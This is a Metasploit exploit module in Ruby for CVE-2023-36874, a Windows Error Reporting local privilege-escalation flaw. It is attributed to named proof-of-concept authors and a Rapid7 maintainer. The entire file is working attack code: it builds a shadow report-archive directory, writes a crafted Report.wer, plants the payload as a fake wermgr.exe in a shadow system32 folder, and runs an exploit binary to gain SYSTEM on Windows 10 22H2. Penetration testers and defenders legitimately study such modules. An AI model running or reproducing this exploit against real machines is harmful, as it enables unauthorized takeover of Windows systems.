Microsoft Error Reporting Local Privilege Elevation Exploit

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::Common
  include Msf::Post::File
  include Msf::Exploit::FileDropper
  include Msf::Post::Windows::Priv
  include Msf::Exploit::EXE

  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft Error Reporting Local Privilege Elevation Vulnerability',
        'Description' => %q{
          This module takes advantage of a bug in the way Windows error reporting opens the report
          parser.  If you open a report, Windows uses a relative path to locate the rendering program.
          By creating a specific alternate directory structure, we can coerce Windows into opening an
          arbitrary executable as SYSTEM.
          If the current user is a local admin, the system will attempt impersonation and the exploit will
          fail.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Filip Dragović (Wh04m1001)', # PoC
          'Octoberfest7', # PoC
          'bwatters-r7' # msf module
        ],
        'Platform' => ['win'],
        'SessionTypes' => [ 'meterpreter', 'shell', 'powershell' ],
        'Targets' => [
          [ 'Automatic', { 'Arch' => [ ARCH_X64 ] } ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2023-07-11',
        'References' => [
          ['CVE', '2023-36874'],
          ['URL', 'https://www.crowdstrike.com/blog/falcon-complete-zero-day-exploit-cve-2023-36874/'],
          ['URL', 'https://github.com/Wh04m1001/CVE-2023-36874'],
          ['URL', 'https://github.com/Octoberfest7/CVE-2023-36874_BOF']
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ ARTIFACTS_ON_DISK ]
        },
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_delete_file
              stdapi_sys_config_getenv
            ]
          }
        }
      )
    )

    register_options([
      OptString.new('EXPLOIT_NAME',
                    [true, 'The filename to use for the exploit binary (%RAND%.exe by default).', "#{Rex::Text.rand_text_alpha(6..14)}.exe"]),
      OptString.new('REPORT_DIR',
                    [true, 'The Error Directory to use (%RAND% by default).', Rex::Text.rand_text_alpha(6..14).to_s]),
      OptString.new('SHADOW_DRIVE',
                    [true, 'Directory to place in the home drive for pivot (%TEMP% by default).', Rex::Text.rand_text_alpha(6..14).to_s]),
      OptInt.new('EXECUTE_DELAY',
                 [true, 'The number of seconds to delay between file upload and exploit launch', 3])
    ])
  end

  # When we pass the directory value to the mkdir method, the mkdir method
  # passes the reference to the string containing the directory.
  # We do a lot of string manipulation in this module, so this is a quick
  # hack to make sure that despite what we do with the string after we create
  # the directory, it is  the actual directory we created that gets sent to
  # the cleanup methods.
  def clone_mkdir(dir)
    mkdir(dir.clone)
  end

  def upload_error_report
    wer_archive_dir = get_env('PROGRAMDATA')
    vprint_status(wer_archive_dir)
    wer_archive_dir << '\\Microsoft\\Windows\\WER\\ReportArchive'
    report_dir = "#{wer_archive_dir}\\#{datastore['REPORT_DIR']}"
    report_filename = "#{report_dir}\\Report.wer"
    vprint_status("Creating #{report_dir}")
    clone_mkdir(report_dir)
    wer_report_data = exploit_data('CVE-2023-36874', 'Report.wer')
    vprint_status("Writing Report to #{report_filename}")
    write_file(report_filename, wer_report_data)
  end

  def build_shadow_archive_dir(shadow_base_dir)
    wer_archive_dir = shadow_base_dir
    clone_mkdir(wer_archive_dir)
    wer_archive_dir << '\\ProgramData\\'
    clone_mkdir(wer_archive_dir)
    wer_archive_dir << 'Microsoft\\'
    clone_mkdir(wer_archive_dir)
    wer_archive_dir << 'Windows\\'
    clone_mkdir(wer_archive_dir)
    wer_archive_dir << 'WER\\'
    clone_mkdir(wer_archive_dir)
    wer_archive_dir << 'ReportArchive\\'
    clone_mkdir(wer_archive_dir)
    report_dir = "#{wer_archive_dir}#{datastore['REPORT_DIR']}"
    clone_mkdir(report_dir)
    return report_dir
  end

  def upload_shadow_report(shadow_archive_dir)
    report_filename = "#{shadow_archive_dir}\\Report.wer"
    wer_report_data = exploit_data('CVE-2023-36874', 'Report.wer')
    vprint_status("Writing bad Report to #{report_filename}")
    write_file(report_filename, wer_report_data)
  end

  def build_shadow_system32(shadow_base_dir)
    shadow_win32 = "#{shadow_base_dir}\\system32"
    vprint_status("Creating #{shadow_win32}")
    clone_mkdir(shadow_win32)
    return shadow_win32
  end

  def upload_payload(shadow_win32)
    payload_bin = generate_payload_exe
    payload_filename = "#{shadow_win32}\\wermgr.exe"
    vprint_status("Writing payload to #{payload_filename}")
    write_file(payload_filename, payload_bin)
  end

  def upload_execute_exploit(exploit_path, shadow_path, home_dir)
    vprint_status("shadow_path = #{shadow_path}")
    exploit_bin = exploit_data('CVE-2023-36874', 'CVE-2023-36874.exe')
    write_file(exploit_path, exploit_bin)
    sleep datastore['EXECUTE_DELAY']
    vprint_status("Exploit uploaded to #{exploit_path}")
    cmd = "#{exploit_path} #{shadow_path} #{home_dir} #{datastore['REPORT_DIR']}"
    output = cmd_exec(cmd, nil, 30)
    vprint_status(output)
  end

  def check
    # This only appears to work on 22H2, but likely will work elsewhere if we figure out the function pointers.
    version = get_version_info
    vprint_status("OS version: #{version}")
    return Exploit::CheckCode::Appears if version.build_number == Msf::WindowsVersion::Win10_22H2

    return Exploit::CheckCode::Safe
  end

  def exploit
    fail_with(Module::Failure::BadConfig, 'User cannot be local admin') if is_in_admin_group?
    fail_with(Module::Failure::BadConfig, 'Already SYSTEM') if is_system?
    shadow_dir = datastore['SHADOW_DRIVE']
    home_dir = get_env('HOMEDRIVE')
    shadow_path = "#{home_dir}\\#{shadow_dir}"
    vprint_status("Shadow Path = #{shadow_path}")
    upload_error_report
    shadow_archive_dir = build_shadow_archive_dir(shadow_path.dup)
    upload_shadow_report(shadow_archive_dir)
    shadow_system32 = build_shadow_system32(shadow_path.dup)
    upload_payload(shadow_system32)
    sleep datastore['EXECUTE_DELAY']
    exploit_path = "#{shadow_path}\\#{datastore['EXPLOIT_NAME']}"
    exploit_path << '.exe' unless exploit_path[-4..] == '.exe'
    if shadow_dir.length > 64
      fail_with(Module::Failure::BadConfig, 'REPORT_DIR value too long')
    end
    upload_execute_exploit(exploit_path, shadow_dir, home_dir)
    print_warning("Manual deletion of #{shadow_path} may be required")
  end
end